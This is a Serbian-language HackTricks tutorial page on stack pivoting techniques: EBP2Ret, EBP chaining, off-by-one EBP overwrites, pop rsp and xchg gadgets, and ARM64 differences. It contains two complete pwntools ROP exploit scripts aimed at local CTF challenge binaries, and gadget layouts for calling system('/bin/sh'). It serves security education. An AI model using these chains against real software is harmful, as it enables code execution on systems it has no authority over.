Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

Osnovne informacije

Ova tehnika koristi sposobnost manipulacije Base Pointer (EBP) za povezivanje izvršavanja više funkcija kroz pažljivo korišćenje EBP registra i sekvencu instrukcija leave; ret.

Kao podsetnik, leave u suštini znači:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

Ova tehnika je posebno korisna kada možete promeniti EBP registar, ali nemate direktan način da promenite EIP registar. Ona koristi ponašanje funkcija kada završe izvršavanje.

Ako, tokom izvršavanja fvuln, uspete da injektujete lažni EBP u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir pop operacija), možete indirektno kontrolisati EIP. Kada fvuln vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna pop operacija smanjuje ESP za 4, efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo. Obratite pažnju da morate znati 2 adrese: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.

Exploit Construction

Prvo morate znati adresu na kojoj možete pisati proizvoljne podatke / adrese. ESP će pokazivati ovde i izvršiti prvi ret.

Zatim, morate znati adresu koju koristi ret koja će izvršiti proizvoljni kod. Možete koristiti:

  • Validnu ONE_GADGET adresu.

  • Adresu system() praćenu 4 bajta smeća i adresu "/bin/sh" (x86 bitovi).

  • Adresu jump esp; gadgeta (ret2esp) praćenu shellcode-om koji treba izvršiti.

  • Neki ROP lanac.

Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti 4 bajta zbog pop dela leave instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite drugi lažni EBP i nastavite sa kontrolisanjem izvršavanja.

Off-By-One Exploit

Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete samo modifikovati najmanje značajan bajt EBP-a. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa ret mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima. Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.

Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.

EBP Chaining

Dakle, postavljanjem kontrolisane adrese u EBP unos steka i adrese za leave; ret u EIP, moguće je premestiti ESP na kontrolisanu EBP adresu iz steka.

Sada je ESP kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je RET. Da biste to zloupotrebili, moguće je staviti na kontrolisano mesto ESP ovo:

  • &(next fake EBP) -> Učitaj novi EBP zbog pop ebp iz leave instrukcije

  • system() -> Pozvan od strane ret

  • &(leave;ret) -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi

  • &("/bin/sh")-> Parametar za system

U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova kako bi se kontrolisao tok programa.

Ovo je kao ret2lib, ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.

Štaviše, ovde imate primer izazova koji koristi ovu tehniku sa stack leak da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP možda neće biti korišćen

Kao objašnjeno u ovom postu, ako je binarni fajl kompajliran sa nekim optimizacijama, EBP nikada ne kontroliše ESP, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat. To je zato što se prolog i epilog menjaju ako je binarni fajl optimizovan.

  • Nije optimizovan:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimizovano:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Druge metode za kontrolu RSP

pop rsp gadget

Na ovoj stranici možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je pop rsp gadget i postoji leak sa steka:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Proverite ret2esp tehniku ovde:

Ret2esp / Ret2reg

Reference i drugi primeri

ARM64

U ARM64, prolog i epilog funkcija ne čuvaju i ne preuzimaju SP registar u stacku. Štaviše, RET instrukcija ne vraća se na adresu koju pokazuje SP, već na adresu unutar x30.

Stoga, po defaultu, samo zloupotrebljavajući epilog nećete moći da kontrolišete SP registar prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da kontrolišete x30 registar.

  • prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP pokazuje na frame record
  • epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može kontrolisati SP (kontrolisanjem nekog registra čija se vrednost prosleđuje SP ili zato što iz nekog razloga SP uzima svoju adresu iz stacka i imamo overflow) i zatim zloupotrebljavati epilog da učita x30 registar iz kontrolisanog SP i RET na njega.

Takođe na sledećoj stranici možete videti ekvivalent Ret2esp u ARM64:

Ret2esp / Ret2reg
Podržite HackTricks

Last updated